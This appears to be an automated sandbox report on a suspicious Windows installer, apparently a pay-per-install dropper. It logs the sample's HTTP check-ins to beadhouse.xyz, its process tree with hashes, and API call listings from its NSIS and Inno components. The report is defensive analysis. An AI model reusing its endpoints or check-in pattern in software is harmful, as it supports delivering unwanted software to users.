Jan 22, 2024 11:52:13.580415964 CET	213	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2529&dn=244&spot=3&t=1705920717 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:13.726305008 CET	574	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:13 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QqiGv0YbH9FsMG6eBizPepRHDrzq5K6ogTztcXsgkd59D%2Ff5pnwpxSxn7Xv8pttxxt2d22odFsCfK7IUNJ7QKQe4msEYwXmoF6b0vATXuSjMFoOvW6rwi6bxVnojL2cD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973f093a611389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 22, 2024 11:52:13.754551888 CET	164	OUT	GET /api_pedl.php?spot=4&a=2529&on=424&o=1664 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:13.906094074 CET	598	IN	HTTP/1.1 404 Not Found Date: Mon, 22 Jan 2024 10:52:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4EZcndXDZ487DCxlCRgzoyClJ9YtPgk5ebcislxv%2FNnpJ7q%2FRFaIMPj8SXMyZc%2BgWCpIYe4vtxg%2BfhvJJ2T0Trfgkt2PJULqNDQ18a8MACcpBAPZAJBzkX1F9a2RFXPj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973f0a4ab41389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 22, 2024 11:52:13.924547911 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2529&dn=424&spot=4&t=1705920717 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:14.069412947 CET	574	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:14 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JDezHfS61eXRwsULIFabjghsxmnYKWHHaUcF768yGg018IEYqxY5KRgrhY76q%2B1uivG5TBxcM7X4oTnFuEsbx0l4sER5nsXPCreSdqWLCxzA2Z5aZKAXkJYrZpahN40X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973f0b5b0c1389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 22, 2024 11:52:14.107268095 CET	163	OUT	GET /api_pedl.php?spot=5&a=2529&on=310&o=365 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:14.261511087 CET	604	IN	HTTP/1.1 404 Not Found Date: Mon, 22 Jan 2024 10:52:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=V5ll%2BGbD4Tg2TI27Q8AFXWtCioKQycx16%2FE%2FjX3FiMRKjYvzpJG5fTwAfmJ6ebOFtdqFEAU04%2BdWkwSIqoxMx7s%2Fq6%2B0nFW%2FNc4elBalPgjafdSVS9PAHEN8ttoTE9Sx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973f0c8b5f1389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 22, 2024 11:52:14.279385090 CET	213	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=365&a=2529&dn=310&spot=5&t=1705920717 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:14.423902035 CET	580	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:14 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=N7nYdbSBZsTNbc0CL%2Bqi%2FpKO8Z2682SymZcL5hI9rNu96WlVmHAnhbESPORNPbqUKNcVEK91oF4Q6ESb5V0CxHwtcc7FU7bAszHHc0qILSChNK7CBlWSBUfVA%2F1Hle%2BB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973f0d9bab1389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 22, 2024 11:52:14.468943119 CET	164	OUT	GET /api_pedl.php?spot=6&a=2529&on=434&o=1670 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:14.620441914 CET	600	IN	HTTP/1.1 404 Not Found Date: Mon, 22 Jan 2024 10:52:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lhK9%2FXPcY4LARLBYOipGZ4JQRvh0wr12UnvbkfOazVjrwr58xRQBJUbc9o45J%2BK6WUxL5M5Q3vjWRol3khKHp4y62tnp2HmWkQfolhjhqXobMpcmc%2BOnFcn%2FXlxFuj%2Bd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973f0ecbfe1389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 22, 2024 11:52:14.641145945 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2529&dn=434&spot=6&t=1705920717 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:14.785403967 CET	582	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:14 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HWcZx%2BpYgou4naYojMVJdueYc77mZJQiii0q2dPryLXaf13PdsgRlOEdE7AN2gR%2B8vp1MyV45x9UOenf%2Bq6zzL52HZD1G6LUb4eRuC2dW7KT40rCAyQh%2F%2Bv8YPgqdMKj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973f0fdc521389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.38.59	443	5000	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-22 10:52:09 UTC	156	OUT	GET /ss.php?a=3851&cc=US&t=1705920717 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-01-22 10:52:09 UTC	567	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:09 GMT Content-Type: text/plain Content-Length: 2 Connection: close X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=n1S7NCnhtHb%2F81clJ3IaljV6BBBfUPaLSEN7OviNQA5HHBtr4ASoVMIfD5MglRrZyn5MyB3x8cM89tbaAIkEViH9yL5xovrG42S7orwoLCe0qOJe1Dbh05HQK2Rcp2N9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973ef15c4f1391-ATL alt-svc: h3=":443"; ma=86400
2024-01-22 10:52:09 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Target ID:	0
Start time:	11:51:55
Start date:	22/01/2024
Path:	C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Imagebase:	0x400000
File size:	1'671'997 bytes
MD5 hash:	2800086D1E1BC2BFC3FD70F888BAA391
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	11:51:55
Start date:	22/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp" /SL5="$20436,832512,832512,C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	32CC3E106FF135C7611F471BEBC5293D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	11:52:06
Start date:	22/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
Imagebase:	0x7ff7699e0000
File size:	3'467'931 bytes
MD5 hash:	96F723D9AF7F2E4B45908770611B4350
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.4%
Total number of Nodes:	1266
Total number of Limit Nodes:	39

Executed Functions

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040325B
SetErrorMode.KERNEL32(00008001), ref: 00403266
OleInitialize.OLE32(00000000), ref: 0040326D

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

SHGetFileInfoA.SHELL32(0041F458,00000000,?,00000160,00000000,00000008), ref: 00403295

Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,Greak Memories of Azur Trke Yama.exe,NSIS Error), ref: 00405B73

GetCommandLineA.KERNEL32(Greak Memories of Azur Trke Yama.exe,NSIS Error), ref: 004032AA
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",00000000), ref: 004032BD
CharNextA.USER32(00000000,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",00000020), ref: 004032E8
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040337B
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403390
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040339C
DeleteFileA.KERNEL32(1033), ref: 004033AF
OleUninitialize.OLE32(00000000), ref: 0040342D
ExitProcess.KERNEL32 ref: 0040344D
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",00000000,00000000), ref: 00403459
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp), ref: 00403465
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403471
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403478
DeleteFileA.KERNEL32(0041F058,0041F058,?,00424000,?), ref: 004034C2
CopyFileA.KERNEL32 ref: 004034D6
CloseHandle.KERNEL32(00000000,0041F058,0041F058,?,0041F058,00000000), ref: 00403503
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 00403558
ExitWindowsEx.USER32(00000002,00000000), ref: 00403594
ExitProcess.KERNEL32 ref: 004035B7

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403370, 00403375, 0040338F, 0040339B, 00403458, 00403464, 00403470, 00403477, 00403517
", xrefs: 0040330A
C:\Users\user\AppData\Local\Temp\is-CTG90.tmp, xrefs: 0040345E, 00403463, 00403486
/D=, xrefs: 0040333E
Greak Memories of Azur Trke Yama.exe, xrefs: 004032A0
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040324C
Error launching installer, xrefs: 004033E5
~nsu.tmp, xrefs: 00403453
"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe", xrefs: 004032B0, 004032B6, 004033CC
_?=, xrefs: 004033D6
SeShutdownPrivilege, xrefs: 0040356A
NSIS Error, xrefs: 0040329B
1033, xrefs: 004033AA
\Temp, xrefs: 00403396
C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe, xrefs: 004034D1
NCRC, xrefs: 00403328

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-CTG90.tmp$C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Greak Memories of Azur Trke Yama.exe$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2278157092-474798103
Opcode ID: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction ID: d9df3101e86bd055252ea398e1a167ecdf9755d8b7b18b8fa076e16bcd865dbe
Opcode Fuzzy Hash: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction Fuzzy Hash: E191D231A087417EE7216F609D49B2B7EACEB01306F44457BF941B61E2C77CAE058B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405042 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32 ref: 004050A1
GetDlgItem.USER32 ref: 004050B0
GetClientRect.USER32 ref: 004050ED
GetSystemMetrics.USER32 ref: 004050F5
SendMessageA.USER32 ref: 00405116
SendMessageA.USER32 ref: 00405127
SendMessageA.USER32 ref: 0040513A
SendMessageA.USER32 ref: 00405148
SendMessageA.USER32 ref: 0040515B
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040517D
ShowWindow.USER32(?,00000008), ref: 00405191
GetDlgItem.USER32 ref: 004051B2
SendMessageA.USER32 ref: 004051C2
SendMessageA.USER32 ref: 004051DB
SendMessageA.USER32 ref: 004051E7
GetDlgItem.USER32 ref: 004050BF

Part of subcall function 00403F4D: SendMessageA.USER32 ref: 00403F5B

GetDlgItem.USER32 ref: 00405204
CreateThread.KERNEL32 ref: 00405212
CloseHandle.KERNEL32(00000000), ref: 00405219
ShowWindow.USER32(00000000), ref: 0040523D
ShowWindow.USER32(000104CC,00000008), ref: 00405242
ShowWindow.USER32(00000008), ref: 00405289
SendMessageA.USER32 ref: 004052BB
CreatePopupMenu.USER32 ref: 004052CC
AppendMenuA.USER32 ref: 004052E1
GetWindowRect.USER32(000104CC,?), ref: 004052F4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405318
SendMessageA.USER32 ref: 00405353
OpenClipboard.USER32 ref: 00405363
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 00405369
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405372
GlobalLock.KERNEL32 ref: 0040537C
SendMessageA.USER32 ref: 00405390
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004053A8
SetClipboardData.USER32 ref: 004053B3
CloseClipboard.USER32 ref: 004053B9

Strings

{, xrefs: 004052A8

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction ID: b28aa7ce0402c6385ba5b6cd868a6258f1d07b471923b7bae974b2a68da01879
Opcode Fuzzy Hash: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction Fuzzy Hash: 34A14870904208FFDB219F60DD89AAE7F79FB08355F00417AFA05BA2A0C7795A41DF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNEL32(?,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",74DF2EE0), ref: 004054A9
lstrcatA.KERNEL32(004214A8,\*.*,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",74DF2EE0), ref: 004054F3
lstrcatA.KERNEL32(?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",74DF2EE0), ref: 00405514
lstrlenA.KERNEL32(?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",74DF2EE0), ref: 0040551A
FindFirstFileA.KERNEL32(004214A8,?,?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",74DF2EE0), ref: 0040552B
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 004055DD
FindClose.KERNEL32(?), ref: 004055EE

Strings

"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe", xrefs: 00405495
C:\Users\user\AppData\Local\Temp\, xrefs: 0040548B
\*.*, xrefs: 004054ED

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2624274752
Opcode ID: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction ID: bc429f5d1e1b14784ce7e3564347ec6ed469848bfd5577fff983359c073685a4
Opcode Fuzzy Hash: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction Fuzzy Hash: 0351F331904A447ADB216B218C45BBF3B79CF42728F54847BF905711E2CB3C5A82DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406131 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction ID: 7fe690cacb8e5da35aefc448adc87e2f65dc6f56ff44dc44b78e187fa59068bd
Opcode Fuzzy Hash: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction Fuzzy Hash: 70F16871D00229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E88 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction ID: 91087f9554edebef2dfdad95906e97f440013226b38390424b9c6ad62026e406
Opcode Fuzzy Hash: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction Fuzzy Hash: 0FE08C32A08511BBD3115B30ED0896B77A8EA89B41304083EF959F6290D734EC119BFA

Uniqueness

Uniqueness Score: -1.00%

Function 00405E61 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,004224F0,004218A8,0040577D,004218A8,004218A8,00000000,004218A8,004218A8,?,?,74DF2EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",74DF2EE0), ref: 00405E6C
FindClose.KERNEL32(00000000), ref: 00405E78

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction ID: f2fe444ddfa45285d6a9eb51d657c4c39712a0d2250b7f8498e11f87d01b5aa3
Opcode Fuzzy Hash: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction Fuzzy Hash: 26D012359495206FC7001738AD0C85B7A58EF553347508B32F969F62E0C7B4AD51DAED

Uniqueness

Uniqueness Score: -1.00%

Function 00403A45 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A81
ShowWindow.USER32(?), ref: 00403A9E
DestroyWindow.USER32 ref: 00403AB2
SetWindowLongA.USER32 ref: 00403ACE
GetDlgItem.USER32 ref: 00403AEF
SendMessageA.USER32 ref: 00403B03
IsWindowEnabled.USER32 ref: 00403B0A
GetDlgItem.USER32 ref: 00403BB8
GetDlgItem.USER32 ref: 00403BC2
SetClassLongA.USER32(?,000000F2,?), ref: 00403BDC
SendMessageA.USER32 ref: 00403C2D
GetDlgItem.USER32 ref: 00403CD3
ShowWindow.USER32(00000000,?), ref: 00403CF4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D21
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D37
EnableMenuItem.USER32(00000000), ref: 00403D3E
SendMessageA.USER32 ref: 00403D56
SendMessageA.USER32 ref: 00403D69
lstrlenA.KERNEL32(004204A0,?,004204A0,Greak Memories of Azur Trke Yama.exe), ref: 00403D92
SetWindowTextA.USER32(?,004204A0), ref: 00403DA1
ShowWindow.USER32(?,0000000A), ref: 00403ED5

Strings

Greak Memories of Azur Trke Yama.exe, xrefs: 00403D83

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

